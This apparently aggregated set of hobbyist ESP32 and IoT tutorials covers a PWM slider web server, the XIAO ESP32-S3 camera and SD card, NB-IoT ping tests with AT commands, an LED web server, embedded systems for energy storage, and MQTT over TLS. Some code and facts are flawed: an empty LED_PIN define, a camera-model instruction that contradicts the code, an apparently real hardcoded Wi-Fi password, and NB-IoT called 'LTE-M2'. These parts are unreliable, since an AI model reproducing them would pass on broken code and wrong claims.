<h2>ESP32 PWM Controller</h2> <p><span id="textSliderValue">%SLIDERVALUE%</span></p> <p><input type="range" onchange="updateSliderPWM(this)" id="pwmSlider" min="0" max="255" value="%SLIDERVALUE%" step="1" class="slider"></p> <script> function updateSliderPWM(element) { var sliderValue = document.getElementById("pwmSlider").value; document.getElementById("textSliderValue").innerHTML = sliderValue; console.log(sliderValue); var xhr = new XMLHttpRequest(); xhr.open("GET", "/slider?value="+sliderValue, true); xhr.send(); } </script> </body> </html> )rawliteral"; // Replaces placeholder with button section in your web page String processor(const String& var){ //Serial.println(var); if (var == "SLIDERVALUE"){ return sliderValue; } return String(); } void setup(){ // Serial port for debugging purposes Serial.begin(115200); // configure LED PWM functionalitites ledcSetup(ledChannel, freq, resolution); // attach the channel to the GPIO to be controlled ledcAttachPin(output, ledChannel); ledcWrite(ledChannel, sliderValue.toInt()); // Connect to Wi-Fi WiFi.begin(ssid, password); while (WiFi.status() != WL_CONNECTED) { delay(1000); Serial.println("Connecting to WiFi.."); } // Print ESP Local IP Address Serial.println(WiFi.localIP()); // Route for root / web page server.on("/", HTTP_GET, [](AsyncWebServerRequest *request){ request->send_P(200, "text/html", index_html, processor); }); // Send a GET request to <ESP_IP>/slider?value=<inputMessage> server.on("/slider", HTTP_GET, [] (AsyncWebServerRequest *request) { String inputMessage; // GET input1 value on <ESP_IP>/slider?value=<inputMessage> if (request->hasParam(PARAM_INPUT)) { inputMessage = request->getParam(PARAM_INPUT)->value(); sliderValue = inputMessage; ledcWrite(ledChannel, sliderValue.toInt()); } else { inputMessage = "No message sent"; } Serial.println(inputMessage); request->send(200, "text/plain", "OK"); }); // Start server server.begin(); } void loop() { } Wrap-Up: I hope you enjoyed this introduction to the ESP32 web server with the Slider project. In the next section, I will show you how to wire the circuit and program the ESP32. Stay tuned!
  8. The Xiao esp32 s3 sense is a tiny but powerful development board that integrates the ESP32-S3R8 processor, which supports 2.4GHz Wi-Fi and Bluetooth 5.0 wireless connectivity, 8MB PSRAM, 8MB flash memory, and a rich set of interfaces. The Xiao esp32 s3 sense also comes with a detachable OV2640 camera sensor, a digital microphone, and an SD card slot, which enable various applications in the fields of intelligent voice and vision AI. The xiao esp32 s3 sense is compatible with the Arduino IDE and MicroPython, which makes it easy to program and use. It also supports low-power consumption modes, battery charging, and multiple themes and information display. The Xiao esp32 s3 sense is suitable for space-limited projects, such as wearable devices, IoT devices, and embedded ML devices. In this article, I will show you how to get started with the Xiao esp32 s3 sense, how to use the camera and SD card features, and how to customize and optimize the board. Let’s begin! Get PCBs for Your Projects Manufactured This project was successfully completed because of the help and support from NextPCB. Guys if you have a PCB project, please visit their website and get exciting discounts and coupons. NextPCB offers high-quality, reliable PCB starting at $1.9, and multilayer starting at $6.9. Also, everyone can enjoy free PCB assembly for 5 boards! Also, NextPCB is having a year end sale in which anyone can register through their website and get a $30 Coupon which can be used for ordering PCBs. You can also try HQDFM free online PCB Gerber viewer to check your PCB design and avoid costly errors. Capturing and Displaying Images The Xiao esp32 s3 sense comes with a detachable OV2640 camera sensor, which can capture images up to 2 megapixels. The camera sensor is connected to the board via a 24-pin FPC cable, which can be easily plugged in or unplugged. The camera sensor can be mounted on the board using the provided screws, or placed anywhere you want using the extension cable. To capture and display images, you need to use the CameraWebServer example sketch from the Arduino IDE. This sketch will create a web server on the Xiao esp32 s3 sense, which will allow you to access the camera stream from any web browser on your local network. You can also take snapshots and save them to the SD card or the flash memory. To use the CameraWebServer sketch, you need to follow these steps: Open the Arduino IDE and select the Xiao esp32 s3 sense board from the Tools menu. Go to File > Examples > ESP32 > Camera > CameraWebServer and open the sketch. In the sketch, find the line that says #define CAMERA_MODEL_AI_THINKER and uncomment it. This will select the correct camera model for the Xiao ESP32 s3 sense. #include "esp_camera.h" #include <WiFi.h> #define CAMERA_MODEL_XIAO_ESP32S3 // Has PSRAM #include "camera_pins.h" // =========================== // Enter your WiFi credentials // =========================== const char* ssid = "ELDRADO"; const char* password = "amazon123"; void startCameraServer(); void setupLedFlash(int pin); void setup() { Serial.begin(115200); while(!Serial); Serial.setDebugOutput(true); Serial.println(); camera_config_t config; config.ledc_channel = LEDC_CHANNEL_0; config.ledc_timer = LEDC_TIMER_0; config.pin_d0 = Y2_GPIO_NUM; config.pin_d1 = Y3_GPIO_NUM; config.pin_d2 = Y4_GPIO_NUM; config.pin_d3 = Y5_GPIO_NUM; config.pin_d4 = Y6_GPIO_NUM; config.pin_d5 = Y7_GPIO_NUM; config.pin_d6 = Y8_GPIO_NUM; config.pin_d7 = Y9_GPIO_NUM; config.pin_xclk = XCLK_GPIO_NUM; config.pin_pclk = PCLK_GPIO_NUM; config.pin_vsync = VSYNC_GPIO_NUM; config.pin_href = HREF_GPIO_NUM; config.pin_sscb_sda = SIOD_GPIO_NUM; config.pin_sscb_scl = SIOC_GPIO_NUM; config.pin_pwdn = PWDN_GPIO_NUM; config.pin_reset = RESET_GPIO_NUM; config.xclk_freq_hz = 20000000; config.frame_size = FRAMESIZE_UXGA; config.pixel_format = PIXFORMAT_JPEG; // for streaming //config.pixel_format = PIXFORMAT_RGB565; // for face detection/recognition config.grab_mode = CAMERA_GRAB_WHEN_EMPTY; config.fb_location = CAMERA_FB_IN_PSRAM; config.jpeg_quality = 12; config.fb_count = 1; // if PSRAM IC present, init with UXGA resolution and higher JPEG quality // for larger pre-allocated frame buffer. if(config.pixel_format == PIXFORMAT_JPEG){ if(psramFound()){ config.jpeg_quality = 10; config.fb_count = 2; config.grab_mode = CAMERA_GRAB_LATEST; } else { // Limit the frame size when PSRAM is not available config.frame_size = FRAMESIZE_SVGA; config.fb_location = CAMERA_FB_IN_DRAM; } } else { // Best option for face detection/recognition config.frame_size = FRAMESIZE_240X240; #if CONFIG_IDF_TARGET_ESP32S3 config.fb_count = 2; #endif } // camera init esp_err_t err = esp_camera_init(&config); if (err != ESP_OK) { Serial.printf("Camera init failed with error 0x%x", err); return; } sensor_t * s = esp_camera_sensor_get(); // initial sensors are flipped vertically and colors are a bit saturated if (s->id.PID == OV3660_PID) { s->set_vflip(s, 1); // flip it back s->set_brightness(s, 1); // up the brightness just a bit s->set_saturation(s, -2); // lower the saturation } // drop down frame size for higher initial frame rate if(config.pixel_format == PIXFORMAT_JPEG){ s->set_framesize(s, FRAMESIZE_QVGA); } // Setup LED FLash if LED pin is defined in camera_pins.h #if defined(LED_GPIO_NUM) setupLedFlash(LED_GPIO_NUM); #endif WiFi.begin(ssid, password); WiFi.setSleep(false); while (WiFi.status() != WL_CONNECTED) { delay(500); Serial.print("."); } Serial.println(""); Serial.println("WiFi connected"); startCameraServer(); Serial.print("Camera Ready! Use 'http://"); Serial.print(WiFi.localIP()); Serial.println("' to connect"); } void loop() { // Do nothing. Everything is done in another task by the web server delay(10000); } In the sketch, find the line that says const char* ssid = "your-ssid"; and replace your-ssid with the name of your Wi-Fi network. Do the same for the line that says const char* password = "your-password"; and replace your-password with the password of your Wi-Fi network. Upload the sketch to the Xiao esp32 s3 sense and open the serial monitor. You should see the IP address of the web server, such as http://192.168.1.100. Open any web browser on your computer or smartphone and enter the IP address of the web server. You should see the camera stream and some buttons and options on the web page. Adjusting the Resolution and Orientation The xiao esp32 s3 sense can capture images at different resolutions, ranging from 160x120 to 1600x1200. You can change the resolution from the web page by selecting one of the options from the drop-down menu. The higher the resolution, the better the image quality, but the slower the frame rate and the more memory usage. You can also change the orientation of the camera from the web page by clicking on the buttons that say “Flip” or “Rotate”. The flip button will flip the image horizontally, while the rotate button will rotate the image 90 degrees clockwise. Using the Webcam Web Application The Xiao esp32 s3 sense can also be used as a webcam for your computer. It allows you to use the camera sensor as a video input device for any software that supports webcams, such as Skype, Zoom, OBS, etc. To use the webcam web application, you need to follow these steps: Install and run the VLC on your computer. You should see a window with a preview of the camera stream and some settings. In the settings, enter the IP address of the web server, such as http://192.168.1.100:81/stream. Click on the “Start” button to start the webcam service. Open any software that supports webcams and select the Xiao esp32 s3 sense as the video input device. You should see the camera stream on the software. Storing and Accessing Data The Xiao esp32 s3 sense comes with an SD card slot that can support microSD cards up to 32GB. The SD card slot can be used to store and access data, such as images, videos, audio, text, etc. You can also use the SD card as secondary storage for your programs, libraries, or data files. Before using the SD card on the Xiao ESP32 s3 sense, you need to format the SD card to FAT32 format. This is the most compatible and widely used format for SD cards. You can use any tool or software that can format SD cards to FAT32 format, such as the SD Card Formatter, the Disk Management tool on Windows, the Disk Utility tool on Mac, etc. After formatting the SD card, you need to insert the SD card into the SD card slot on the Xiao ESP32 s3 sense. Please note the direction of insertion, the side with the gold finger should face inward. The SD card slot has a spring mechanism that will lock the SD card in place. To eject the SD card, you need to press the SD card gently and release it. To store and access data on the SD card, you need to use the SD library from the Arduino IDE. This library provides functions to create, read, write, delete, and list files and directories on the SD card. You can also use the File object to manipulate the files and directories on the SD card. #include "FS.h" #include "SD.h" #include "SPI.h" void listDir(fs::FS &fs, const char * dirname, uint8_t levels){ Serial.printf("Listing directory: %s\n", dirname); File root = fs.open(dirname); if(!root){ Serial.println("Failed to open directory"); return; } if(!root.isDirectory()){ Serial.println("Not a directory"); return; } File file = root.openNextFile(); while(file){ if(file.isDirectory()){ Serial.print(" DIR : "); Serial.println(file.name()); if(levels){ listDir(fs, file.path(), levels -1); } } else { Serial.print(" FILE: "); Serial.print(file.name()); Serial.print(" SIZE: "); Serial.println(file.size()); } file = root.openNextFile(); } } void createDir(fs::FS &fs, const char * path){ Serial.printf("Creating Dir: %s\n", path); if(fs.mkdir(path)){ Serial.println("Dir created"); } else { Serial.println("mkdir failed"); } } void removeDir(fs::FS &fs, const char * path){ Serial.printf("Removing Dir: %s\n", path); if(fs.rmdir(path)){ Serial.println("Dir removed"); } else { Serial.println("rmdir failed"); } } void readFile(fs::FS &fs, const char * path){ Serial.printf("Reading file: %s\n", path); File file = fs.open(path); if(!file){ Serial.println("Failed to open file for reading"); return; } Serial.print("Read from file: "); while(file.available()){ Serial.write(file.read()); } file.close(); } void writeFile(fs::FS &fs, const char * path, const char * message){ Serial.printf("Writing file: %s\n", path); File file = fs.open(path, FILE_WRITE); if(!file){ Serial.println("Failed to open file for writing"); return; } if(file.print(message)){ Serial.println("File written"); } else { Serial.println("Write failed"); } file.close(); } void appendFile(fs::FS &fs, const char * path, const char * message){ Serial.printf("Appending to file: %s\n", path); File file = fs.open(path, FILE_APPEND); if(!file){ Serial.println("Failed to open file for appending"); return; } if(file.print(message)){ Serial.println("Message appended"); } else { Serial.println("Append failed"); } file.close(); } void renameFile(fs::FS &fs, const char * path1, const char * path2){ Serial.printf("Renaming file %s to %s\n", path1, path2); if (fs.rename(path1, path2)) { Serial.println("File renamed"); } else { Serial.println("Rename failed"); } } void deleteFile(fs::FS &fs, const char * path){ Serial.printf("Deleting file: %s\n", path); if(fs.remove(path)){ Serial.println("File deleted"); } else { Serial.println("Delete failed"); } } void testFileIO(fs::FS &fs, const char * path){ File file = fs.open(path); static uint8_t buf[512]; size_t len = 0; uint32_t start = millis(); uint32_t end = start; if(file){ len = file.size(); size_t flen = len; start = millis(); while(len){ size_t toRead = len; if(toRead > 512){ toRead = 512; } file.read(buf, toRead); len -= toRead; } end = millis() - start; Serial.printf("%u bytes read for %u ms\n", flen, end); file.close(); } else { Serial.println("Failed to open file for reading"); } file = fs.open(path, FILE_WRITE); if(!file){ Serial.println("Failed to open file for writing"); return; } size_t i; start = millis(); for(i=0; i<2048; i++){ file.write(buf, 512); } end = millis() - start; Serial.printf("%u bytes written for %u ms\n", 2048 * 512, end); file.close(); } void setup(){ Serial.begin(115200); while(!Serial); if(!SD.begin(21)){ Serial.println("Card Mount Failed"); return; } uint8_t cardType = SD.cardType(); if(cardType == CARD_NONE){ Serial.println("No SD card attached"); return; } Serial.print("SD Card Type: "); if(cardType == CARD_MMC){ Serial.println("MMC"); } else if(cardType == CARD_SD){ Serial.println("SDSC"); } else if(cardType == CARD_SDHC){ Serial.println("SDHC"); } else { Serial.println("UNKNOWN"); } uint64_t cardSize = SD.cardSize() / (1024 * 1024); Serial.printf("SD Card Size: %lluMB\n", cardSize); listDir(SD, "/", 0); createDir(SD, "/mydir"); listDir(SD, "/", 0); removeDir(SD, "/mydir"); listDir(SD, "/", 2); writeFile(SD, "/hello.txt", "Hello "); appendFile(SD, "/hello.txt", "World!\n"); readFile(SD, "/hello.txt"); deleteFile(SD, "/foo.txt"); renameFile(SD, "/hello.txt", "/foo.txt"); readFile(SD, "/foo.txt"); testFileIO(SD, "/test.txt"); Serial.printf("Total space: %lluMB\n", SD.totalBytes() / (1024 * 1024)); Serial.printf("Used space: %lluMB\n", SD.usedBytes() / (1024 * 1024)); } void loop(){ } Here is the serial terminal response. Wrap-Up: In this article, I have shown how to use the Xiao Esp32 S3 Sense Camera and SD card future. Hope you guys found this helpful. Will see you another one. Bye.
  9. With the Internet of Things (IoT), everyday objects can now connect and exchange data. These smart objects are embedded with sensors, software, and other technologies to facilitate communication and data exchange with similar systems and devices over a network, typically the Internet. By the end of 2025, it is estimated that there will be 38.6 billion IoT-connected devices worldwide. Managing such many devices necessitates a secure and reliable network to support them all. This is where the emerging technology of the Narrowband Internet of Things (NB-IoT) comes into play. Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Also, check out this useful blog on PCBWay Plugin for KiCad from here. Using this plugin, you can directly order PCBs in just one click after completing your design in KiCad. What is NB-IoT technology? Narrowband IoT, abbreviated as NB-IoT, or LTE-M2, is a novel wireless technology that deviates from the standard licensed LTE framework. It is an LPWAN (Low Power Wide Area Network) technology operating independently in previously unused 200-kHz bands, initially allocated for Global Systems for Mobile Communications networks (GSM). In 2016, telecommunications giants such as Huawei, Ericsson, Qualcomm, and Vodafone collaborated to designate NB-IoT as 5G technology. They collectively established this standard in conjunction with 3GPP. This emerging technology is being employed to enable a myriad of new IIoT (Industrial IoT) devices, encompassing applications like smart parking, wearables, utilities, and industrial solutions. Why NB-IoT? Narrowband IoT (NB-IoT) enables multiple devices to transmit data even without standard mobile network coverage. The licensed frequency spectrum it utilizes does not interfere with other devices, ensuring more reliable data transfer. As a standards-based Low Power Wide Area Network (LPWAN) technology, NB-IoT can cover expansive areas while consuming minimal energy. NB-IoT enjoys support from major mobile equipment, module, and chipset manufacturers. It can coexist with 2G, 3G, and 4G mobile networks. Its simple infrastructure allows for faster and more straightforward implementation. Additionally, Narrowband IoT can leverage the security and privacy features inherent in mobile networks. Advantages of NB-IoT Power-Efficient and Cost-Effective – Narrowband-IoT exhibits low energy consumption while covering vast areas, connecting up to 50,000 devices per NB-IoT network cell. This enhances the power efficiency of user devices and contributes to the overall cost-effectiveness of the system. The minimal power consumption allows for a battery life exceeding ten years. Secure and Reliable – Leveraging a licensed spectrum ensures greater reliability for users and guarantees resource allocation for managed Quality of Service (QoS). This results in less interference and more reliable transmissions. The underlying technology is straightforward to design, develop, and deploy. It incorporates security and privacy features comparable to LTE mobile networks, supporting user identity confidentiality, data integrity, entity authentication, and mobile equipment identification. Wider Deployment and Global Reach – Narrowband-IoT, with lower bit rates than LTE-M1, can directly connect sensors to the base station without requiring a gateway for connectivity. This characteristic makes it an excellent option for extensive deployment at lower costs. NB-IoT is capable of functioning in deep underground and enclosed spaces. Utilizing a mobile wireless network enhances scalability, providing a broader global reach. Check NB-IoT coverage countries here. Barriers to NB-IoT Easy deployment and good range are just a few of the advantages of NB-IoT. However, as with all technology, NB-IoT also comes with a few limitations, including the following: The data rate is low compared to LTE cat-M1. NB-IoT is considered ideal for idle devices. No support for VoLTE (Voice Over LTE) for speech transmission means no voice transmission. Roaming, though expected soon, is not supported yet. With LTE support finding favor with carriers, deployment could be a problem. Increased initial costs. NarrowBand-IoT in India In India, the predominant practice among mobile operators is to utilize the 900 MHz licensed band for NB-IoT operations. Major players in the Indian Telecom sector have already highlighted the potential use cases for NB-IoT deployment. They frequently emphasize the benefits that businesses and the government can derive from adopting this technology, particularly in the pursuit of Smart Cities. NB-IoT in India holds promise for various applications within a smart city context, ranging from air-quality monitoring and smart parking to damage prediction in the event of a disaster and waste management. Several countries have already initiated the deployment of such solutions and are actively seeking ways to enhance and expand them. NB-IoT has the potential to emerge as a mainstream technological resource in India, positioning the country among the leading global technology innovators. In India, two major telecom service providers, Reliance Jio and Airtel, have introduced NB-IoT services. However, these services are not commercially available for individual users, unlike in other countries where single users can access such services. To utilize NB-IoT services in India, users are required to make purchases through registered firms in large quantities. I obtained this information through interactions with the respective company sales teams. In my attempts to gather technical details, I engaged with Jio and Airtel over several months, holding a series of regular meetings. Unfortunately, Jio repeatedly denied my requests and did not provide basic information regarding the technical aspects. This experience left me dissatisfied with the Reliance Jio NB-IoT sales team. Airtel NB-IoT provided us with the opportunity to conduct basic functionality tests of NB-IoT in their IoT lab. My objective was to assess how NB-IoT works in India. I requested a set of tests to evaluate the performance of NB-IoT connectivity. Before testing NB-IoT in India, I conducted tests on NB-IoT technology in the USA remotely, with the assistance of my friends. For the USA tests, I utilized the nRF Thingy 91 and Arkessa SIM. These tests were successful, and I was able to integrate them with Edge Impulse. Upon returning to India, we tested NB-IoT connectivity using the nRF9160 Development Kit with an Airtel NB-IoT SIM. During this period, I had the opportunity to discuss the NB-IoT test details with Gaurav Kapoor and his team from Nordic Semiconductor. They provided valuable assistance in testing the nRF9160. The nRF9160 was tested at the Airtel Manesar lab, where a straightforward Ping test was conducted using nRF9160 AT commands. The test utilized firmware versions nRF9160_1.3.4 and nRF Connect SDK v2.3.0. Airtel also has an IoT lab in Bengaluru, where NB-IoT-related tests can be conducted. To access the lab, prior permission must be obtained from the respective teams. Google Ping Test using nRF9160 DK and Airtel NB-IoT Service Conducted a Google Ping test utilizing the nRF9160 Development Kit and Airtel's NB-IoT service. The test involved sending Ping requests to Google servers to assess the round-trip time for responses. The nRF9160 DK, coupled with Airtel's NB-IoT service, served as the platform for evaluating the connectivity and performance of the NB-IoT network in this specific test. Step 1: Check the current network registration status of the nRF9160 modem. AT+CEREG=? This command is Essential for determining if the device is connected to the cellular network and able to send and receive data. Step 2: Searches for available cellular networks in the surrounding area. AT+COPS=? Step 3: Verify the configuration of Packet Data Protocol (PDP) contexts, which are essential for establishing data connections over a cellular network. AT+CGDCONT? It retrieves information like the Access Point Name (APN), PDP type, and other parameters for each defined context. Step 4: Initiate a ping operation to test connectivity to a specified IP address or hostname. AT+PING = "www.google.com",45,5000,5,1000 Syntax: AT+PING=<destination_IP_or_hostname>,<packet_size>,<timeout>,<count>,<interval> destination_IP_or_hostname: The IP address or hostname to ping (in this case, "www.google.com") packet_size: The size of the ping packets in bytes (45 bytes in this example) timeout: The maximum time to wait for a response in milliseconds (5000 ms in this example) count: The number of ping packets to send (5 in this example) interval: The time interval between sending ping packets in milliseconds (1000 ms in this example) Received Response for the Ping Output from Wireshark nRf9160 AT Commands Follow the link provided, to know AT Commands in detail. https://infocenter.nordicsemi.com/pdf/nrf9160_at_commands_v2.2.pdf Note: NB-IoT is not deployed in all states of India
  10. In this tutorial, you will learn how to create a web server with ESP32 that can control an LED from any device connected to the same WiFi network. You will use the Arduino IDE to program the ESP32 and the web browser to access the web server. What You Need To follow this tutorial, you need the following components: An ESP32 development board A USB cable to connect the ESP32 to the computer The Arduino IDE installed on your computer The ESP32 add-on for the Arduino IDE Get PCBs For Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Also, check out this useful blog on PCBWay Plugin for KiCad from here. Using this plugin, you can directly order PCBs in just one click after completing your design in KiCad. How It Works The ESP32 will act as a web server that can serve HTML and CSS files to web clients (such as web browsers or smartphones). The web page will have a button that can send an HTTP request to the ESP32 to turn the LED on or off. The ESP32 will also handle the HTTP requests from the web clients and respond accordingly. For example, if the ESP32 receives a request to turn the LED on, it will set the GPIO pin connected to the LED to HIGH and send back a confirmation message. ESP32 Code The code for the ESP32 is also straightforward. You need to include the WiFi.h and ESPAsyncWebServer.h libraries, which are used to connect the ESP32 to the WiFi network and to create the web server. You also need to define the WiFi credentials, the GPIO pin for the LED, and the web server object. Then, you need to create a function to generate the HTML and CSS code for the web page, which will have a button to toggle the LED state. Next, you need to create a function to connect the ESP32 to the WiFi network and print the IP address to the serial monitor. You also need to create a function to handle the HTTP requests from the web clients and change the LED state accordingly. Finally, you need to initialize the LED pin, the WiFi connection, and the web server in the setup() function, and keep the web server running in the loop() function. The complete code is shown below: #include <WiFi.h> #include <ESPAsyncWebServer.h> // WiFi credentials #define WIFI_SSID "Your WiFi SSID" #define WIFI_PASSWORD "Your WiFi Password" // LED pin #define LED_PIN // Web server object AsyncWebServer server(80); // LED state int LED_state = LOW; // Function to generate the HTML and CSS code for the web page String getHTML() { String html = "<!DOCTYPE HTML>"; html += "<html>"; html += "<head>"; html += "<style>"; html += "body {background-color: #F0F0F0; font-family: Arial, Helvetica, sans-serif;}"; html += "h1 {color: #333333; text-align: center;}"; html += "button {width: 150px; height: 50px; font-size: 20px; margin: 10px;}"; html += "</style>"; html += "</head>"; html += "<body>"; html += "<h1>ESP32 Web Server</h1>"; html += "<p>LED state: <span style='color: red;'>"; if (LED_state == LOW) html += "OFF"; else html += "ON"; html += "</span></p>"; html += "<button onclick=\"window.location.href='/led/on'\">Turn ON</button>"; html += "<button onclick=\"window.location.href='/led/off'\">Turn OFF</button>"; html += "</body>"; html += "</html>"; return html; } // Function to connect to WiFi network void connectWiFi() { Serial.print("Connecting to WiFi..."); WiFi.begin(WIFI_SSID, WIFI_PASSWORD); while (WiFi.status() != WL_CONNECTED) { delay(500); Serial.print("."); } Serial.println(); Serial.println("WiFi connected"); Serial.println("IP address: "); Serial.println(WiFi.localIP()); } // Function to handle HTTP requests void handleRequest(AsyncWebServerRequest *request) { // Get the request path String path = request->url(); // Check if the request is to turn the LED on if (path == "/led/on") { // Set the LED pin to HIGH digitalWrite(LED_PIN, HIGH); // Update the LED state LED_state = HIGH; // Send a confirmation message request->send(200, "text/plain", "LED turned on"); } // Check if the request is to turn the LED off else if (path == "/led/off") { // Set the LED pin to LOW digitalWrite(LED_PIN, LOW); // Update the LED state LED_state = LOW; // Send a confirmation message request->send(200, "text/plain", "LED turned off"); } // Otherwise, send the web page else { // Get the HTML and CSS code String html = getHTML(); // Send the web page request->send(200, "text/html", html); } } void setup() { // Initialize the serial monitor Serial.begin(115200); // Initialize the LED pin pinMode(LED_PIN, OUTPUT); digitalWrite(LED_PIN, LED_state); // Connect to WiFi network connectWiFi(); // Start the web server server.onNotFound(handleRequest); server.begin(); } void loop() { // Nothing to do here } Testing the Web Server To test the web server, you need to upload the code to the ESP32 board and open the serial monitor. You should see the IP address of the ESP32, which is something like 192.168.1.8 Then, you need to open a web browser on your computer or smartphone and enter the IP address of the ESP32. You should see the web page with the button to control the LED. You can click the button to toggle the LED state and see the confirmation message on the web browser. Conclusion In this tutorial, you learned how to create a web server with ESP32 that can control an LED from any device connected to the same WiFi network. You learned how to use the WiFi.h and ESPAsyncWebServer.h libraries to connect the ESP32 to the WiFi network and to create the web server. You also learned how to generate the HTML and CSS code for the web page and how to handle the HTTP requests from the web clients. You can use this tutorial as a basis for your own projects that involve controlling GPIO pins or other devices with the ESP32 web server. You can also customize the web page design and functionality to suit your needs. I hope you enjoyed this tutorial and found it useful. If you have any questions or feedback, please let me know. 😊
  11. Energy Management System(EMS for short) is designed and implemented specifically for energy storage systems, which plays a vital role in the field of new energy storage systems. EMS can help enterprises or institutions achieve efficient, safe, and reliable management of energy storage equipment, optimize energy storage and release, reduce costs, and improve energy efficiency. To achieve these functions, EMS also needs to rely on various systems. This paper will analyze in detail the application of embedded system in EMS and its close relationship with it. 01 Embedded Linux System Purpose: It is often used in the monitoring system of energy storage power station as the background support of EMS to ensure the real-time processing and response of large-scale data of energy storage system. Features: It can be customized according to the specific needs of EMS, providing stable and reliable data processing and communication capabilities to ensure the efficient operation and monitoring of the energy storage system. Note: Tailoring and customization is required to accommodate specific EMS needs. 02 Microcontrollers Purpose: It is used in small energy storage devices or distributed energy storage systems to monitor and control the charging and discharging process of a single energy storage unit. Features: Through real-time data acquisition and upload, the micro controller can provide accurate charging and discharging data and status information for the EMS, and then realize the intelligent adjustment of the energy storage strategy. Note: The computing power and storage capacity are limited and not suitable for complex EMS tasks. 03 Programmable Logic Controller (PLC) Application: In large-scale energy storage power stations and industrial energy storage applications, PLC works closely with EMS to ensure safety control and optimization during energy storage. Features: The stability and real-time performance of PLC provide reliable data acquisition and control interface for EMS, so that the energy storage system can accurately respond to dispatching instructions and ensure the stable operation of the system. Note: The source code is usually not open, and the customization is poor. 04 Embedded SOC (System Chip) Purpose: In high-end EMS equipment, as the core processing unit, to ensure the rapid processing and analysis of energy data. Features: Its high performance and low power consumption meet the dual requirements of EMS for data processing speed and energy efficiency. Note: The design is complex and requires specialized development tools and teams. 05 Internet of Things (IoT) Device(IoT Devices) Purpose: As a remote monitoring and management means of EMS, the Internet of Things equipment realizes wireless monitoring and data acquisition of distributed energy storage equipment. Features: IOT equipment provides convenient data transmission and remote management channels for EMS, and helps to realize remote monitoring, fault diagnosis and other functions of energy storage system. Note: Data security and stability need to be considered. Summary In EMS, the selection of an appropriate embedded system involves a trade-off of multiple factors, including but not limited to system complexity, real-time requirements, cost, and development cycle. It is critical to select the right embedded system for the specific needs of the EMS, which will directly affect the performance, stability, and economic benefits of the energy storage system. To ensure the successful implementation and operation of an EMS, it is wise to seek the support and assistance of a specialized energy management and automation system provider. FCU2601 embedded Control Units is Folinx Embedded an EMS energy control unit product designed for the lithium battery energy storage industry, which is designed with high performance, multi-interface and low power consumption, and widely meets the local energy management application requirements of various energy storage systems. The FCU2601 embedded control unit takes into account the differentiated needs of different scenarios in the energy storage industry, and makes full preparations in hardware, protection, certification, software and other aspects to ensure the applicability, stability and reliability of the product. Originally published at www.forlinx.net.
  12. MQTT is one of the most popular IoT network protocol thanks to its light-weight and Publish-subscribe model. However, some doubts the security of MQTT as it is usually unprotected to reduce overhead, this can be easily fixed with the use of TLS (Transport Layer Security), here we are using Realtek's RTL8722 dual-band WiFi and BLE5.0 microcontroller as example and see how it achieve security with MQTT, Preparation Ameba x 1 Example In this example, we connect Ameba to a MQTT broker using TLS authentication. Then send messages as a publisher and receive messages from as a subscriber. Open the MQTT example “File” -> “Examples” -> “AmebaMQTTClient” -> “MQTT_TLS” Please modify the WiFi-related parameters to connect to your WiFi network. Modify the MQTT parameters to fit your application: The “mqttServer” refers to the MQTT-Broker, we use the free MQTT sandbox “test.mosquitto.org” for testing. “clientId” is an identifier for MQTT-Broker to identify the connected device. “publishTopic” is the topic of the published message, we use “outTopic” in the example. The devices subscribe to “outTopic” will receive the message. “publishPayload” is the content to be published. “subscribeTopic” is to tell MQTT-broker which topic we want to subscribe to. Next, compile the code and upload it to Ameba. Press the reset button, then open the serial monitor After Ameba is connected to MQTT server, it sends the message “hello world” to “outTopic”. To see the message, use another MQTT client. Refer to the MQTT_Basic example guide on how to setup a PC-based MQTT client. If you wish to use TLS client authentication in addition to server authentication, you will need to generate an OpenSSL private key and obtain a signed certificate from the server. For testing purposes, signed certificates can be obtained from test.mosquitto.org by following the guide at https://test.mosquitto.org/ssl/. Replace the character strings “certificateBuff” and “privateKeyBuff” with your signed certificate and OpenSSL private key, ensuring that they are formatted the same way as the shown in the example code. Also uncomment the highlighted code to enable client authentication, and to change the MQTT port number.
  13. The ESP32, a low-cost microcontroller with integrated Wi-Fi and Bluetooth capabilities, has become a popular choice for IoT applications due to its power and affordability. One intriguing application is the creation of a web server. This blog post will provide a step-by-step guide on how to implement a web server on the ESP32. Understanding the Basics What is a Web Server? A web server is a software application that serves web pages to users. When a user requests a web page, the web server processes the request and sends the requested page back to the user’s browser. This forms the backbone of data communication on the World Wide Web. What is ESP32? The ESP32 is a series of low-cost, low-power systems on a chip microcontroller with integrated Wi-Fi and dual-mode Bluetooth. The ESP32 series employs a Tensilica Xtensa LX6 microprocessor and includes built-in antenna switches, an RF balun, a power amplifier, a low-noise receiver amplifier, filters, and power management modules. It is suitable for a wide variety of applications, from low-power sensor networks to more demanding tasks such as music streaming. Get PCBs For Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Also, check out this useful blog on PCBWay Plugin for KiCad from here. Using this plugin, you can directly order PCBs in just one click after completing your design in KiCad. Step-by-Step Guide to Implementing a Web Server on ESP32 Step 1: Setting Up the Environment Before we delve into the implementation, we need to set up the ESP32 development environment. This involves installing the ESP32 board definitions in the Arduino IDE and connecting the ESP32 to your computer via a USB cable. The Arduino IDE provides a comfortable coding environment and makes it easy to upload programs to the board. Step 2: Including the Necessary Libraries The first step in our implementation is to include the necessary libraries. We’ll need the WiFi.h library for connecting the ESP32 to a Wi-Fi network and the ESPAsyncWebServer.h library for handling HTTP requests. These libraries provide the necessary functions and methods to establish a Wi-Fi connection and to set up a web server. #include <WiFi.h> #include <ESPAsyncWebServer.h> Step 3: Defining the Wi-Fi Credentials Next, we need to define our Wi-Fi credentials. Replace your_SSID and 